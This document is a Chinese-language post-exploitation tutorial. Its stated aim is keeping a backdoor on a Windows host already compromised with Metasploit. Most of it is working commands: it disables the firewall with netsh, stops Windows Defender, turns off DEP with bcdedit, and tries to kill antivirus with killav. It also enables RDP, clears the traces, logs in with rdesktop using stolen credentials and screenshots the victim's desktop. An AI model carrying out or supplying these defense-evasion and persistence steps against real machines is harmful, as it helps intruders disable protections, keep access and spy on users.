目录

一. 关闭防火墙

二. 关闭windows Defender和DEP数据执行保护

三. 关闭杀毒软件

四. 开启远程桌面

---

当我们拿下一台主机后，想在主机上留后门，那么我们的首要任务就是关闭主机的防火墙。因为防火墙会把我们的后门程序进行拦截。我们用msf获取到了权限

一. 关闭防火墙

以下是在win7和win2008r2的机器上实验的，在administrator和system的权限下都能成功将防火墙关闭和开启。普通用户不行

1. 在system权限下执行

此时防火墙的状态是开启的，在meterpreter > 中输入shell进入shell界面，可知是system权限

输入如下，成功关闭防火墙

netsh advfirewall set allprofiles state off     #off换成on则开启

2. 在administrator权限下执行

netsh advfirewall set allprofiles state off

如下，也成功将防火墙关闭

二. 关闭windows Defender和DEP数据执行保护

       Windows Defender，曾用名Microsoft Anti Spyware，是一个杀毒程序，保护计算机不受间谍软件以及不需要的软件的影响。可以运行在Windows XP和Windows Server 2003操作系统上，并已内置在Windows Vista，Windows 7，Windows 8，Windows 8.1和Windows10中。

win2008/2012/2016默认没有安装windows defend，所以无需关闭。

1. win7关闭windows Defender

以下在system和administrator权限下执行都能成功

如下，默认开启了

（1）执行如下，进行关闭

net stop windefend

成功关闭

2. 关闭DEP(数据执行保护)

       数据执行保护 (DEP) 有助于防止电脑遭受病毒和其他安全威胁的侵害。应用会留出一部分电脑内存用于暂存数据，同时留出另一部分内存用于暂存应用使用的指令。 黑客可能试图诱使应用运行（也称为执行）放置在电脑内存中伪装成指令的有害数据。 这可能会让黑客得以控制你的电脑。DEP 可以防止应用运行用于暂存指令的那部分内存中的数据，从而保护电脑。 如果 DEP 发现某个运行此类数据的应用，它将关闭该应用并通知你。与防病毒程序不同，硬件和软件实施 DEP 技术的目的并不是防止在计算机上安装有害程序。 而是监视您的已安装程序，帮助确定它们是否正在安全地使用系统内存。 为监视您的程序，硬件实施 DEp 将跟踪已指定为“不可执行”的内存区域。 如果已将内存指定为“不可执行”，但是某个程序试图通过内存执行代码，Windows 将关闭该程序以防止恶意代码。 无论代码是不是恶意，都会执行此操作。

bcdedit.exe /set {current} nx AlwaysOff

三. 关闭杀毒软件

关闭杀软应该是最最重要的一步了，想让后门程序安全放行，那么杀软必定是一个最大的阻碍。我在win7上装了一个腾讯管家，在administrator和system权限下，尝试进行关闭

meterpreter > run post/windows/manage/killav

这里显示未检测到目标程序，未关闭成功！why?? who can tell me

四. 开启远程桌面

以下是在win7和win2008r2的机器上实验的，在administrator和system的权限下都能成功开启远程桌面。普通用户不行

1. 命令1

先将远程桌面关闭

运行如下，成功开启了远程桌面

meterpreter > run post/windows/manage/enable_rdp

用它给的这个文件我们可以关闭远程桌面并清除痕迹。运用下面这个命令查看帮助信息

执行这条命令加上-r加上给出的这个文件，可以关闭远程桌面

meterpreter > run multi_console_command -r /root/.msf4/loot/20210413223147_default_192.168.1.7_host.windows.cle_552272.txt

2. 命令2

还可以使用 run getgui这个命令关闭远程桌面，但亲测不好使，虽然显示关闭了但其实并没有关闭。重启一下或者手动开启远程再手动关闭再执行脚本就能够成功关闭。

3. kali连接远程桌面

开启远程后，我们可以利用上一节获取到的用户名密码进行远程桌面连接。kali中自带一个命令可以用来连接远程

rdesktop -u 用户名 -p 密码 主机ip

弹出远程桌面的框。此时win7的用户就会被挤下去。

如果我们登陆不上去，但是也想看他桌面的图片了，此时可以进行截图

meterpreter > screenshot

查看获取的截图

eog 图片名称